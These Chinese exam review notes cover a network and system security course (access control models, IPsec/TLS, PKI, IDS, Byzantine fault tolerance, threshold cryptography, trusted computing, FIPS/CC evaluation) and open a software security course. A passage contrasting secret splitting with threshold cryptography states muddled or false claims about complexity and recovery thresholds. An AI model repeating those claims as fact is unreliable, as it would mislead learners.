ucas-网络与系统安全-复习
多选单选论述
其中有大部分是其他同学完成的,自己做了一定的整合和修改.
第一次课:新形势安全面临挑战和安全保障能力提升1.1 信息技术的发展趋势对象的特点: 融合、扩张、协作;
1.2 信息安全面临的挑战隐私、身份、电子依赖、信任绑架、信息财富、边界模糊
1.3 信息安全的技术发展趋势保护、检测、可生存、可信赖;
检测又叫全周期…
第二次课:网络与系统安全的需求与目标 即我们要做到什么程度,上一节课是要做什么
2.1 信息安全的基本需求:CIAA机密性Confidentiality;完整性Integrity;可用性Availability;真实性Authenticity;
2.2 信息安全的目标这句是重点:防止威胁利用弱点破坏信息安全特性, 以及 控制风险
控制风险,确定威胁利用弱点实施 破坏发生的概率(识别风险),决定采取何种措施,将风险降低到可以接受的水平。从绝对安全到适度安全;防止威胁利用弱点破坏信息安全特性
信息安全风险的概念?从绝对安全到适度安全;
完成一个组织如何评估、应对、监视信息系统安全风险的策略性规定,包括
详细的安全假定确定;
安全风险控制实施所受的各种可能的限制;
机构对风险的容忍程度;
风险处理过程中的面临的各种这种决策的优先次序;
威胁利用弱点给信息资产造成负面影响的潜在可能
2.3 保护阶段的目标:TCSEC橘皮书和CC标准;2.4 生命周期阶段的保护目标:
入侵检测技术IDS是PDR模型的中的重要支撑技术,IDS主要的功能为:监视、评估信息网络系统中的恶意或者违反安全策略的行为,并产生相应的报警。
PDCA 的概念:
Plan: 对ISMS范围所及进行风险评估和控制方案设计;
Do:对于不可接受风险,实施风险处理计划,比如增加防火墙等安全措施;
Check:分析运行效果,寻求改进机会;
Act: 经过了评审之后,要执行的进一步动作;
2.5 可生存技术:拜占庭容错和门限密码技术技术思路: 消除单点失效
可生存技术的基本原理:信息系统通过特定的设计,变得不是那么脆弱,一碰就倒,一触即溃。信息系统生存技术关注:计算过程的可靠性和错误容忍。
2.6 自重构可信赖保护技术:动态构建、适度安全、随着任务启动生成保护,随任务结束推出(保护的生与死)
第三次课:自主与强制访问控制自己的理解: 设定权限范围,划清界限
保护的核心技术
3.1 访问控制的基本概念框架模型,不是策略模型
应用程序访问计算机资源,根据授权策略( 规则集)决定访问请求是否被允许。
3.2 访问控制的要素?
主体S(Subject):资源访问的具体请求者,又称发起者(Initiator),可能是某一用户,信息系统中更多是用户启动的进程、服务和设备等。
客体O(Object):是指被访问资源的实体,又称目标(Target),所有可以被操作的信息、资源、对象都可以是客体。
控制策略A(Attribution):访问策略体现了主体对客体的授权行为,也是客体对主体某些操作行为的认可。
3.3 访问控制3种基本类型?模型含义是重点,
什么mac dac搞清楚
模型不是来限制你的,而是有它适用范围,给你一个依据来具体设置访问控制模型
自主访问控制DAC(典型案例:UGO) (Discretionary Access Control)强制访问控制MAC(Mandatory Access Control)基于角色的访问控制RBAC它和基于组的访问控制不一样
3.4 访问控制矩阵、访问控制列表、访问控制能力和安全标签的概念?矩阵,列表 都属于dac,都是自主访问控制,和用户密切相关
ibac列表和能力cbac很重要
访问控制矩阵中一行代表一个主体,一列代表一个客体,一个元素表示一个主体被授权的对客体的操作;访问控制矩阵可以直观地表示主体与客体的关系,对于推导和描述访问控制策略具有意义。
访问控制列表(ibac,identify based access control基于身份的)是目标对象的属性表,它给定每个用户对给定目标的访问权限,本质上是访问控制矩阵的一个列。
访问控制能力(cbac 基于能力的)是发起者拥有的一个有效标签(Ticket),它授权持有者以特定的方式访问特定的目标。
安全标签通常的用途是支持多级访问控制策略在访问控制中, 一个安全标签隶属于一个用户、一个目标、一个访问请求或传输中的一个访问控制信息。标签的产生和附着个过程必须可信,在处理一个访问请求时,目标环境比较请求上的标签和目标上的标签决定是允许还是拒绝访问。
3.5 自主访问控制和强制访问控制;理解核心.角色是什么什么的
自主访问控制:DAC允许合法用户以用户或用户组的身份访问策略规定的客体,同时阻止非授权用户访问客体。
强制访问控制:MAC实现比DAC更为严格的访问控制策略, MAC是一种多级访问控制策略,用户和客体具有不同的安全级别,用户不能改变自身和客体的安全级别,只有管理员才能够确定用户和组的访问权限,系统对访问主体和受控对象, 按照安全级对应规则实行强制访问控制。
3.6 BLP、BIBA模型(多级安全强制访问控制策略)Bell-Lapadula(BLP)模型 关注机密性客体被分成安全级别依次降低的:绝密、机密、秘密和公开等级别
主体也被制定不同的安全级别
BLP模型确保: 机密信息不会从高安全级别流向低安全级别
BLP模型由政府资助的Mitre 公司正式提出,BLP模型关注多级安全中的机密性保护,客体被分成安全级别依次降低的:绝密、机密、秘密和公开等级别,主体也被制定不同的安全级别,BLP模型确保机密信息不会从高安全级别流向低安全级别。BLP模型中一个系统的状态可以用三元组{b,M,f}标示; 如果主体访问客体的操作与系统确定的安全规则一致,则系统的状态是安全的。 BLP模型定义了系统的安全规则。
BIBA模型 关注完整性BLP安全模型仅关注信息的机密性,Biba安全模型关注多级安全系统中的信息完整性保护。Biba模型由一组强制访问控制策略和一组自主访问控制策略组成。在操作系统里,为确保内核完整性,从Biba模型的角度,内核可以调用应用程序,反之将是违反Biba模型安全规则的操作。
3.7 Linux的UGO访问控制原理 本质上属于 基于访问控制列表的机制
在每个文件上附加一段有关访问控制信息的二进制位,这些二进制位反映了不同类别用户对该文件的存取方式,即文件的拥有者(User, Owner)、文件拥有者同组的用户(Group)和其他用户(Other),所以我们称这个方式为UGO自主访问控制。UGO属于基于访问控制列表的机制,基于访问控制列表的机制需要依赖于对用户的鉴别。
sudosudo岂不是万能的?和root一样吗?
不是的,可以限制使用的
123#includedir /etc/sudoers.dlighthouse ALL=(ALL) NOPASSWD: ALLubuntu ALL=(ALL:ALL) NOPASSWD: ALL
第四次课:基于属性的访问控制ABAC4.1 SELinux:基于类型的访问控制,安全上下文;SELinux基本概念通过类型强制(TE)访问控制提供了更为灵活、实用MAC机制。在SELInux中,所有访问必须明确授权,通过使用allow规则授予访问权限。Allow规则有四部分组成:
源类型:尝试进行访问控制的域类型。
目标类型:被进程访问的客体类型。
客体类别:允许访问的客体的种类名称。
许可:目标类型允许源类型访问的种类。
安全上下文所有操作系统访问控制都是以关联的客体和主体的访问控制属性为基础;访问控制属性叫做安全上下文。一个安全上下文的组成格式如下:{用户;角色;类型}。
4.2 基于属性的访问控制(ABAC):基本概念,主要元素,基本架构,传统访问控制模型与ABAC的联系;基于属性的策略。ABAC基本概念ABAC定义了主题的属性和客体的属性以及访问发生时候的条件,ABAC将这些属性信息和条件信息与规则的信息对比进行访问控制决策。ABAC的控制规则由属性和条件信息组成。ABAC中每一个客体都必须至少有一个策略规则决定什么样的主体能够对其进行什么样的操作。
元素
属性:刻画主体、客体和条件特性的“键值对”。
主体:意图执行访问操作的自然人或非人设备。
客体:ABAC保护下的系统资源例如: 设备、文件、进程、网络服务等。
操作:主体对客体的操作,包括: 读、写、编辑、删除、拷贝、执行等。
政策:一组规则或者关系,用于确定一个访问请求是否被允许或者拒绝。
环境上下文:可以检测到的环境上下文特征,如:访问发生时的时间、地点和威胁水平等。
架构/过程
Access Control Mechanism(ACM)收到主体的访问控制请求;
根据Policy检查主体属性、客体属性以及环境条件;
决定主体对客体的操作是否允许。
传统访问控制与ABAC联系基于身份的访问控制和RBAC可以看作是 ABAC的一个特例,角色也可以看作是一个属性,从而将角色的访问控制策略转换成属性规则。
基于属性的策略ABAC属性管理主要完成属性的命名、定义、取值范围确定以及与主体和客体绑定等。主体属性一般由属性管理机构提供,如果不同机构的主体存在访问需求,需要在不同机构之间建立属性映射机制。
第五次课:网络边界与防护ipsec可以支持ip层所有流量的加密和/或鉴别,因此可以增强所有分布式应用的安全性
5.1 IPSEC协议的两个基本协议:
鉴别头协议 AH :AH协议提供数据源认证、数据完整性校验和报文防重放功能, 但不提供机密性。
数据源身份验证:计算验证码时加入一个共享密钥(HMAC)
完整性验证:通过杂凑函数产生的校验值
AH报头中的序列号防止重放攻击
有效载荷封装协议ESP:提供了除了AH认证头协议的所有功能外,还可以对IP报文净荷进行加密。
IPSec通过AH和ESP这两个安全协议来实现IP数据报的安全传输。AH和ESP可以单独使用,也可同时使用。AH和ESP同时使用时,报文在IPSec安全转换时,先进行ESP封装,再进行AH封装;IPSec解封装时,先进行AH解封装,再进行ESP解封装。
5.2 IPSEC 的两个工作模式:
传输模式:在传输模式下,AH或ESP被插入到IP头之后但在传输层协议之前。
隧道模式:在隧道模式下,AH或ESP在原始IP头前,另外生成一个新的IP 头放到AH或ESP之前。
5.3 TLS协议握手过程、中间人攻击;四个阶段,握手是干什么的,怎么完成身份鉴别,密钥协商,安全的通道
握手过程http://www.ruanyifeng.com/blog/2014/02/ssl_tls.html
中间人攻击
能够通过ARP 欺骗、DNS 欺骗或者浏览器数据重定向等欺骗技术, 使得SSL客户端C和服务器端S的数据都流向SSL MITM攻击机M。
SSL客户端用户在接收到SSL MITM攻击机伪造的数字证书后, 被骗取对该证书的信任, 并继续SSL连接。
SSL服务器未要求进行SSL客户端身份鉴别。
5.4 VPN基本原理VPN虚拟专用网络,是依靠ISP和其他的NSP,在公共网络中建立专用的数据通信的网络技术,可以为企业之间或者个人与企业之间提供安全的数据传输隧道服务。
在VPN中任意两点之间的链接并没有传统专网所需的端到端的物理链路,而是利用公共网络资源动态组成的,可以理解为通过私有的隧道技术在公共数据网络上模拟出来的和专网有同样功能的点到点的专线技术。
VPN涉及的安全技术:加解密技术、身份鉴别技术、密钥管理技术
VPN技术在TLS和IPSEC层面实现IPSEC过程:1、主机或网关B向远程主机或网关A发送VPN建立请求;2、A产生一个随机数,并将其发送给B;3、B使用这个随机数加密预先通过IKE分享的密钥,将结果发送给A;4、A也使用该随机数将B发来的结果解密,与预先分享的密钥比较,如果匹配,则使用这个密钥加密公钥,发送给B;5、B使用该公钥来建立它与A之间的IPSec SA,VPN隧道建立。
5.5 防火墙基本原理 了解几种防火墙的基本原理和特性
防火墙是位于两个(或多个)网络间, 实施网间访问控制的一组组件的集合, 内部和外部之间的所有网络数据流必须经过防火墙,只有符合安全政策的数据流才能通过防火墙。防火墙利用包过滤技术、状态检测技术、应用级网关技术、代理服务器技术等来挡住未经授权的访问流量,禁止具有脆弱性的服务带来危害。防火墙实施保护, 以避免各种IP欺骗和路由攻击。
第六次课:网络权限管理PMI(Privilege Management Infrastructure,权限管理基础设施)中SOA、AA等实体的作用在PMI里资源拥有者称为SOA (Source of Authority), 被授权的实体称为Privilege Holder。Privilege holder还可以将他的权限进一步的委托,此时的Privilege holder就变成 了AA(Attribute Authority ),需要注意,在这个过程中,权限授予是有层次级别的:SOA -> PH(AA)。这个过程不能反转。
基于属性的访问控制与PMI的关系PMI的属性证书AC绑定了实体身份信息和实体权限。属性证书由属性中心AA以数字签名的方式签发,给出了实体的权限属性。实体向AA申请一个权限,申请通过后,属性中心AA只将AC发送给实体本身,公开存储或交由验证者验证,这个过程并不需要实体本身知晓或参与。
PKI的基本概念,包括数字证书的生命周期、CRL、OCSP
数字证书的生命周期:数字证书的全生命周期包括证书的申请、签发、获取、验证和撤销。
某个用户想要生成一对密钥就会向CA申请一个公钥的数字证书,CA通过签发证书的方式向全世界发布申请人的公钥信息。该证书以各种方式公开(HTTP/FTP/LDAP/Email等),所有取得该公钥数字证书的用户会鉴别数据源、数据完整性,同时CA还需要有非否认性。CA办法的数字证书具有有效期,过期后,该证书无效,此时不能再使用该公钥,CA需要撤销该证书。
数字证书无效以后,CA要撤销该证书,此时PKI会维护一个证书撤销列表CRL,证书撤销列表也要CA进行数字签名,以实现数据完整性、数据源鉴别、非否认。CRL中保存着被撤销的证书序列号。
在线证书状态协议OCSP是另一种形式的证书撤销信息,其形式是“请求-应答”,即请求某个序列号的证书当前状态如何?应答则分为“未撤销、撤销、未知”状态,应答消息需要服务器的数字签名。
为什么会有PKI(Public Key Infrastructure)安全通信的前提:双方能够共享一个对称密钥用作会话密钥
会话密钥通常由公钥密码协商得到,如Diffie-Hellman密钥交换
但是如何安全地知道对方的密钥呢?? 建立具有公信力的可信第三方!
PKI的基本概念
CRL 证书撤销列表
OCSP 证书撤销方式
第七次课:系统权限管理移动终端系统与传统PC权限管理需求的区别。什么什么hold???
传统PC强调“作为一个完整系统独立提供服务”的能力,传统PC系统安全设计为:一个用户登录后,针对该系统用户进行系统资源的访问控制。移动应用高度依赖网络,每一个应用背后是一个相对独立的网络应用系统,每一个应用有自己相对独立的安全边界。移动终端系统用户个人属性相对明显,很少有多人共享一个终端设备,用户区分标识(UID)不再是移动终端系统进行资源访问控制的合适依据。
APP作为系统资源访问控制的基本单位,不同APP之间需要能够进行有效隔离,系统对不同用户的区分不再明显。
Android Permission机制与Linux UGO访问控制的区别与联系。什么curi ablitiy?
Android APP在其进程建立过程中形成实际的APP Permission授权,Linux UGO和ACL在文件系统加载时形成文件的权限属性。Android Permission机制本质上是代码签名机制后,对APP权限的进一步访问控制。UGO机制设置不同组的访问权限,通过让用户进程加入到不同的组,实现其访问控制。
Android Permission机制实现的基本组件和流程。
APP Permission的申请与生成:每个APP拥有 Permission授权的能力,基于能力的访问控制机制适用于需要区分用户较多的环境,Android系统里每一个APP就是一个用户。基于能力的访问控制机制,访问权限的撤销较为困难,因为访问许可授权分散在每一个APP中。
APP Permission授权的形成:Android APP在其进程建立过程中形成实际的APP Permission授权,在APP运行加载时,从静态存储被加载到APP的进程空间。
APP Permission权限检查:当APP访问系统资源时,Android系统会检查APP的权限信息。APP通过系统提供的API调用系统资源,API由System Server和Media等几个关键的进程提供。System Server提供PermCheck功能,PermCheck对比资源要求的Permission许可和 APP存储在mExtras中的许可,进行访问控制决策。
第八次课:入侵检测基本原理8.1 PDR模型的时间关系以时间为度量指标,量化描述系统攻击和防御的对抗,著名的安全条件如下: Pt > Dt + Rt
8.2 入侵检测(IDS)的技术起源,安全审计技术起源
安全审计计算机网络安全审计(Audit)是指按照一定的安全策略,利用记录、系统活动和用户活动等信息,检查、审查和检验操作事件的环境及活动,从而发现系统漏洞、入侵行为或改善系统性能的过程。
也是审查评估系统安全风险并采取相应措施的一个过程。在不至于混淆情况下,简称为安全审计,实际是记录与审查用户操作计算机及网络系统活动的过程,是提高系统安全性的重要举措。系统活动包括操作系统活动和应用程序进程的活动。
8.3 异常入侵检测和误用入侵检测的区别和联系误用入侵检测系统误用入侵检测的前提是入侵行为和正常行为是可区分的。建立一个异常行为的模式库
异常入侵检测这个是记录正常的行为,不在这个范围内的被判定为异常
异常入侵检测记录用户的的日常操作,一般而言,误用检测的新特征发现过程与使用已有特征进行检测的过程相互独立。
区别和联系异常IDS检测/误用IDS检测,都有更新“特征/模式库”的行为。一般而言,误用检测的新特征发现过程与使用已有特征进行检测的过程相互独立;异常检测的模式库更新,通常是在IDS的运行中完成,即边运行,边更新。
思考题
第九次课:9.1 入侵相应的目标对危及安全的事件、行为、过程及时做出响应处理,杜绝危害蔓延,降低安全影响。
核心是业务连续性, 要保证这个,让攻击的范围减小,危害最小
9.2 入侵追踪的基本技术溯源
阻断攻击
与防火墙或网关联动,阻断攻击者的TCP连接(TCP RESET)、阻断攻击者的数据包(ICMP 报文控制);
联络攻击者所在区域的管理员;
向攻击者发起反击:网络流量的压制性反击、基于安全漏洞利用的反击、基于APT方式的反击。
收集攻击信息检测到入侵后,把攻击者引导到经过特殊装 备的诱骗服务器上,记录攻击者的行为,从而获得攻击者的详细信息,作为进一步采取法律措施的证据。主要包括:Honey Pot(蜜罐)、Decoy(诱骗系统)、Fishbowl(鱼饵)等技术。
入侵追踪入侵追踪是一种分布式的、需要多节点协作的体系;入侵追踪应该建立在网络资源相互信任的基础上,应该具有抵抗攻击的健壮性,入侵追踪必须是高效的、准确的,统能够以最小的代价提供快速响应机制。
基于主机的追踪体系:每一个主机节点利用信息隐藏技术在数据包中留下不易察觉的标记、都留下日志,追踪系统中的每一个节点都必须是信任的。
针对TCP连接链的追踪:对于中间经过了多次跳板的TCP攻击连接,一般通过全网部署多个监控节点,监控TCP流。
网络追踪技术:
Input Debugging:发生攻击后IDS发现攻击数据包,人工联系前面的各个路由器。
Controlled Flooding:逐一地向前面的各个路由器发送数据、淹没路由器的缓冲区,看看攻击流量是否减少。
ICMP追踪:利用路由器配合确定数据包转发经过的路由器。
PPM技术:每一个数据包每经过一个路由器,路由器就把自己的IP地址附加上去。
基于日志 的追踪:由路由器计算并保存每个数据包的Hash摘要。入侵追踪时,通过检查数据包的Hash摘要,与路由器保存的结果进行比较,逐步查询出整个攻击路径所经过的路由器。
9.3 APT 攻击对入侵检测与响应的影响Advanced Persistent Threat
APT是由商业或者政治目的,针对特定目标的攻击。隐蔽性和持续性是攻击的主要特点,APT攻击采用尽可能正常的网络行为,通过长期有耐心的积累实施攻击。APT攻击的监测超出了“误用”和“异常”IDS的能力范围,使得入侵检测和响应变得更加困难。
思考题
第十次课:数据备份与灾难恢复PDRR模型,加入了一个R, restore/recovery,核心也是 业务连续性
R代表Restore –即一旦系统遭到破坏,将采取一系列的措施如备份文件恢复、系统重置等功能,恢复系统服务。
10.1 应急计划的概念一个组织具备承受各种灾难,并在灾难引起环境变化中,保持主要任务顺利运行的能力
10.2 业务连续性计划的概念,以及业务连续性计划与应急计划的区别和联系在应急计划的基础上,通过制定业务连续性计划Business Continuity Plan (BCP)实现在故障或灾难中业务的恢复和保持。
国际通行的做法是通过制定应急计划和业务连续性计划,确保系统在遭受灾难时,确保主要业务的正常运行.连续性计划和应急计划是应急管理的重要组成部分。连续性计划适用于组织业务自身;应急计划适用于支撑业务运行的信息系统。连续性计划是目标,应急计划是支撑。
10.3 容灾备份系统的度量指标: RPO, RTO, NRO 和 DOO以恢复点为目标RPO(Recovery Point Object);
以恢复时间为目标RTO(Recovery Time Object) ;
以网络恢复为目标NRO(Network Recovery Object) ;
以服务支持能力保证为目标DOO (Serviceability Degrade Object) (降级运作目标)
10.4 数据备份策略的区别和联系:完全备份、增量备份和差量备份完全备份:对系统进行完全备份,优点是直观,缺点是数据重复量大,成本高,效率低
增量备份:只备份上一次备份后数据的改变量,优点数据重复量少,节约空间,缩短时间,缺点,可靠性差,各个备份环环相连,任何一环出问题,都会影响整个备份链
差量备份:差量备份的数据是上一次全备份之后新增加和修改过的数据,例如每周周一全备份,之后差量备份,兼具前两者的优点
思考题
第十一次课:拜占庭容错系统11.1 n=4,m=1,口头消息的拜占庭消息协商过程;https://blog.csdn.net/xuyuzhuang1991/article/details/79638051
11.2 masking BQS的容错条件,及其一致性过程分析 假设:
在BQS中,由于无法区分信道/服务器失效,同一归结到服务器失效
Reliable but Asynchronous(异步):保证可以传输到达,但不对传输时间做保证
服务器数量:n
法定人数,quorum数量,即至少正常的数量:q
失效的server数量:f
可用性Availability
任何情况下,总是会有Quorum来配合Client操作,因此n-f >= q
一致性Consistency
读出的结果,是最近一次写入的结果,最差情况下,读出的结果为q-(n-q)
其中至少有2f+1台正确服务器(正确的服务器比失效的多),因此2q-n>=2f+1
n至少是4f+1,q至少是3f+1,n为所有服务器数量,q为Quorum(写入和读出的q一致),f为失效服务器的数量
让你设计一个容错的系统???针对口头消息,描述n=7, m=2的BGP协议过程
第十二次课: 门限密码学12.1 密码拆分与门限密码的区别和联系秘密分享和门限密码不一样
门限密码强调计算过程的拆分,秘密不会完整的出现在内存空间
秘密分享会合成出来
都有可生存特性, 门限密码保护密钥,
一个实体发起或执行的密码操作,分散到多个实体组成的一个群体来执行。基础是秘密分享机制,对共享秘密进行重构时,大于等于门限值个数的实体合作恢复出秘密,对于操作(如签名或加密),可以在不出现共享秘密的情况下合作完成最终结果的生成。
密码拆分和门限密码都是用于将一个密码分成多个分片,以便达到更高的安全性。但是,它们之间有一些区别:
原理不同:密码拆分是通过将密码表示成多项式的形式,然后求值在若干个点上,得到若干个值,这些值就是密码的分片。而门限密码是通过对密码进行线性运算得到的。
运算复杂度不同:密码拆分的运算复杂度为 O(n^2),其中 n 是求值点的数量。而门限密码的运算复杂度为 O(n)。
恢复密码所需的贡献者数量不同:密码拆分需要至少 n 个贡献者恢复密码,其中 n 是求值点的数量。而门限密码可以在 t 个贡献者中的任意 t 个贡献者恢复密码。
密码拆分和门限密码都是用于提高密码的安全性的方法,但是它们的原理、运算复杂度和恢复密码所需的贡献者数量都不同。
12.2 拉格朗日差值秘密拆分方案利用多项式曲线的秘密分享
12.3 RSA门限密码实施过程加法的什么什么.. 乘法的就算了
比如给你来计算怎么拆分
12.4 使用proactive recovery对抗 mobile adversary的基本原理丢失了份额怎么快速地让影响消失
第十三次课: 自重构可信赖与终端安全13.1 美国提出的改变博弈(游戏)规则安全技术包括哪些?四个安全技术,背景、内核、目标是什么?
13.2 自重构可信赖与其它安全技术相比最大的安全特征是什么,其带来的安全优势又是什么?
13.3 移动终端TEE技术的5个基本安全特征及其含义。可信执行环境TEE
第十四次课:可信计算可信计算的基本功能:公钥认证、完整性度量、证明;CRTM和DRTM的概念及区别;DRTM旨在实现信任根的随时随地启动,以及可信启动过程的可重复
TCG软件栈TSS的基本架构和作用;可信支撑软件是操作系统层面安全应用可以调用可信计算平台提供的可信服务接口,从而为用户提供可信服务。TSS(TCG Software Stack)是可信计算平台上TPM的支撑软件。 TSS 的作用主要是为操作系统和应用软件提供使用TPM的接口。目前,TSS主要有TSS 1.2和TSS 2.0两个版本。其中基于TPM 2.0的TSS 2.0是最新的版本。
BIOS如何与TPM模块交互
完整性度量的应用,比如区块链区块头的完整性保护原理等。tpm(可信平台模块):是专门为进行加密计算而创建的硬件。它与处理系统的其余部分在物理上隔离,并且通常是主板上的一个独立 IC。
tcg :TCG(Trusted Computing Grounp)架构-即从平台无关角度全局上阐述了可信平台模块TPM(Trusted Platform Module)的架构,功能,主要模块,工作原理,密钥管理方式等。
tee:是芯片组上的一个区域,其工作方式类似于 TPM,但并未与芯片的其余部分物理隔离。
十五次课15.1 信息安全测评体系结构;
CMVP最底层: 密码模块的验证体系, 符合FIPS认证体系标准(通过这个标准来检测是否符合标准)
在这基础上做一些安全功能: 基于密码模块的协议级功能 protocols
执行安全功能的产品,比如什么浏览器,防火墙什么的,按照CC标准来做 安全产品
800-37 53 系统级安全,类似于我国的等保
再通过C&A 认证和认可来保证整个IT的安全
15.2 密码技术在信息安全和测评体系结构中的作用;15.3 FIPS 密码模块测评的基本概念,密码模块的 4 个级别、 5 个类别等FIPS 140分为两部分:CAVP和CMVP。其中CAVP为 有FIPS-approved或NIST-recommended的密码算法以 及它们的组件进行验证,且算法通过CAVP验证是整个模块通过CMVP的前置条件。CMVP按照FIPS140标准进行模块检测。
5种类型,也称密码模块形态:· 硬件密码模块:密码边界规定为硬件边线。在硬件边界内可以包含固件和/或 软件,其中还可以包括操作系统。
· 软件密码模块:密码边界为执行在可修改的运行环境中的纯软件部件(可以是 一个或多个软件部件)和数据组件。软件密码模块的运行环境所包含的计算 平台和操作系统,在定义的密码边界之外。
· 固件密码模块:密码边界为执行在受限的或不可修改的运行环境中的纯固件 部件划定界线。固件密码模块的运行环境所包含的计算平台和操作系统,在定义的密码边界之外,但是与固件模块明确绑定。受限运行环境指允许受控更 改的软件或者固件模块,如 Java 卡中的Java 虚拟机
· 混合软件模块:密码边界为软件部件和不相交的硬件部件(即软件部件不在 硬件模块边界中)的集合划定界线。软件运行的环境所包含的计算平台和操作 系统,在定义的混合软件模块边界之外。
· 混合固件模块:密码边界为固件部件和不相交的硬件部件(即固件部件不在 硬件模块边界中)的合成划定界线。固件运行的环境所包含的计算平台和操作系统,在定义的混合固件模块边界之外,但是与混合固件模块明确绑定。
4个级别(硬件4级,软件直观上只有2级):· 1级:普通的密码产品+自测试
· 2级:1级的产品+防拆测封条+(明确的角色鉴别)
· 3级:2级的产品+拆除响应+EFP/EFT+可信信道+非入侵式 安全
· 4级:3级的产品+响应封套
测试针对每一个域的安全要求进行,最后针对各个域的评级中获得的最低评级作为整体评级,要求如下:
1.在每一个域中独立地评级
2.反映了模块能满足那个域中所有要求的最大级别
3.除“运行环境”(不适用于硬件密码模块)、“ 物理安全”(不适用于软件密码模块)、“其他 攻击的缓解”等3个安全域外,其它的安全域都 是必选检测项目
4.不能只选部分安全域做检测。
5.如果一个域没有提供不同安全级别的要求,则评 级与模块整体安全级别相当
最后针对各个域的评级中获得的最低评级作为整体评级。
15.4 CC 检测的基本概念, 包括 SFR、 SAR、 EAL 等; ST 和 PP 的区别和联系,CC是通用评估准则,是描述产品信息安全要求的通用结构和语言,含有标准化的信息安全要求组件和报的目录。CC用于开发保护轮廓(PP)和安全目标(ST),即特定产品的信息安全要求和规范,针对已知的信息安全要求评估产品和系统。
其中安全功能要求(SFR)用于定义安全信息产品的安全功能,描述信息系产品提供的安全服务的要求。
安全保障要求(SAR)用于确保信息产品的安全功能可以被有保障地实施。
EAL是评估保证级,随着等级提升,安全保障的要求从少到多、由松到紧递增,每个评估保障级都是将安全保障要求的细节按一定方式搭配并固定下来。
ST是 对某个特定的评估目标TOE提出的要其 满足的安全功能要求(Security Functional Requirements)和安全保障要求(Security Assurance Requirements)。
保护轮廓PP是对某一类产品提出的安全功能和安全保 障要求。
ST相当于产品实现方案,与实现相关,作者可能是信息安全产品厂商、开发者或者集成商。PP相当于产品标准,与实现无关(多个具体实现可能满足同一个PP要求),描述用户对这类产品的安全要求,作者可能是信息产品的用户或厂商。
历史考题(根据学长学姐回忆)状态检测防火墙的原理通过对连接的跟踪功能,实现对数据包状态监测,从而进行过滤,
包过滤防火墙:只检查报头
状态检测防火墙:检查报头+建立连接状态表
应用级网关防火墙:检查报头 + 检查数据
代理服务器型防火墙:
异常检测和误用检测的区别异常检测是建立用户正常的一个行为模式库,不在这里面的判定为异常的行为
误用检测是…
误用检测 的新特征的发现过程和它的运行(使用已有特征进行检测)是相互独立的,
而异常检测的模式库更新通常是在IDS中完成,即一边运行,一边更新
IPSEC和ssl的区别https://m.yisu.com/ask/3162.html
应急计划和连续性计划的区别。APT攻击的影响。CC准则中st和pp的区别。一个大秘密K由两个秘密s和m组成,两个子秘密不可以暴露,分发给n个人如何分发。不可以用ocsl和什么(记不清楚了),使用rsa门限算法,和秘密分享技术。设计一个服务器撤销证书之后,用户立刻不可以进行签名。描述其具体过程。
其他假设A和B均拥有由可信第三方CA签发的证书CerA和CerB,以及可信第三方CA的根证书。若A想要与B进行双向身份鉴别,并进行加密通信,请详细描述A、B完成上述需求所需的步骤,以RSA算法为例。
1.A给B发送client hello,带有随机数、支持的协议版本、支持的算法列表
2.B给A发送server hello,带有随机数,选定协议版本和算法(RSA)
3.B给A发送B的证书,含有RSA公钥
4.A通过CA根证书验证B的证书
5.验证通过后A选定48字节随机数,用B的证书公钥加密后发给B
6.A发送自己的证书给B
7.B通过CA根证书验证A的证书
8.双方计算通信需要的密钥等,开始加密通信
9.A通知B启用协商好的算法
10.A结束
11.B通知A启用协商好的算法
12.B结束
请调研和分析目前PMI(Privilege Management Infrastructure)没有大规模使用的原因PMI(Privilege Management Infrastructure)是一种用于管理计算机系统中用户权限的基础设施。它可以帮助组织控制哪些用户可以执行哪些操作,从而提高系统的安全性。但是,目前 PMI 还没有得到大规模使用的原因是:
实施较为复杂:PMI 需要在计算机系统中部署多个软件组件,这需要较高的技术水平和较长的时间。
实施成本较高:实施 PMI 需要购买软件和硬件,以及训练员工,这会带来较高的成本。
维护较为困难:PMI 的软件组件繁多,维护起来较为困难。
缺乏普及性:PMI 目前并没有得到广泛的接受和使用,因此组织可能比较担心风险。
总之,PMI 还没有得到大规模使用的原因是实施较为复杂、实施成本较高、维护较为困难和缺乏普及性等。
ucas-软件安全原理-复习
根据*的数量标识重要程度,最高级 ***
一、软件安全重新认识软件*软件的重要性:软件是构建网络空间的“水泥”
软件的最本质特性:可编程(programmable)
软件是不负责任的产品 为什么??()
软件和程序的定义
软件是用户与硬件之间的接口,用户通过软件与计算机交流
软件包括 程序、数据和文档
程序是一组通过计算机执行,以完成特定任务的指令
程序包括以下类型: 源程序、汇编代码、目标程序
软件、网络空间安全发展历程这是一条线,完整的发展过程,未来做研究等,也可以按照类似的方法
编程语言、操作系统、专用软件的发展路线,反映了这些年软件技术交叠发展的态势
什么是软件安全 ***软件安全是网络空间安全的重要部分. 主要研究软件的防御机制与技术,软件脆弱性分析与漏洞利用技术,网络系统环境中软件的攻防博弈,以及软件安全性的工程化保障方法.
白帽与黑帽 *黑帽子(破坏方法):与攻击、攻击程序和破解软件相关的方法
白帽子(建设方法):与设计、防御和功能性相关的方法
软件安全三部曲 ***
软件安全防御:从”白帽“的视角,研究软件的各类防御机制
软件安全分析和利用:从”黑帽“的视角,研究软件存在的各种安全脆弱性问题以及高效发现及利用方法
安全的软件开发:确保软件安全的工程化方法,BSI是其核心思想,需要贯彻始终
主席网络安全观 **
一、关于网络安全的定位
1.没有网络安全就没有国家安全
2.网络安全为人民,网络安全靠人民
二、关于安全和发展的关系
1.网络安全和信息化是一体之两翼,驱动之双轮
2.以安全保发展,以发展促安全
三、关于网络安全法治
1.互联网不是法外之地
2.坚持依法治网、依法办网、依法上网
四、关于网络空间技术能力
1.大力发展核心技术,加强关键基础信息设施安全保障
2.最关键最核心的技术要立足自主创新、自立自强
五、关于网络安全人才建设
1.网络空间的竞争,归根结底是人才的竞争
2.形成人才培养,技术创新,产业发展的良性生态
六、关于互联网国际治理
1.尊重网络主权,维护和平安全,促进开放合作,构建良好秩序
2.构建网络空间安全命运共同体
《网络信息安全的真相》**
木桶原理(国外更倾向于叫链条原理?): 安全防御系统的强度是由其最薄弱环节的强度决定的
PDR模型:安全防御是一个过程,包含防护-检测-响应等基本环节
没有银弹:没有一个实际系统是无懈可击的,没有一项安全技术可以包治百病
软件安全与网络安全的关系 **
网络空间各种各样部件的大多数功能都是通过软件实现的,因此软件漏洞将直接影响网络空间的安全
围绕软件漏洞,无论是攻击还是防御,实际上都是在网络层面展开对抗
软件安全研究视角源代码 汇编代码 机器码
要贯穿于这几个层次来综合分析,才会更好!
理解程序是软件安全攻防的基本功
掌握程序的生成与运行原理是理解程序的前提
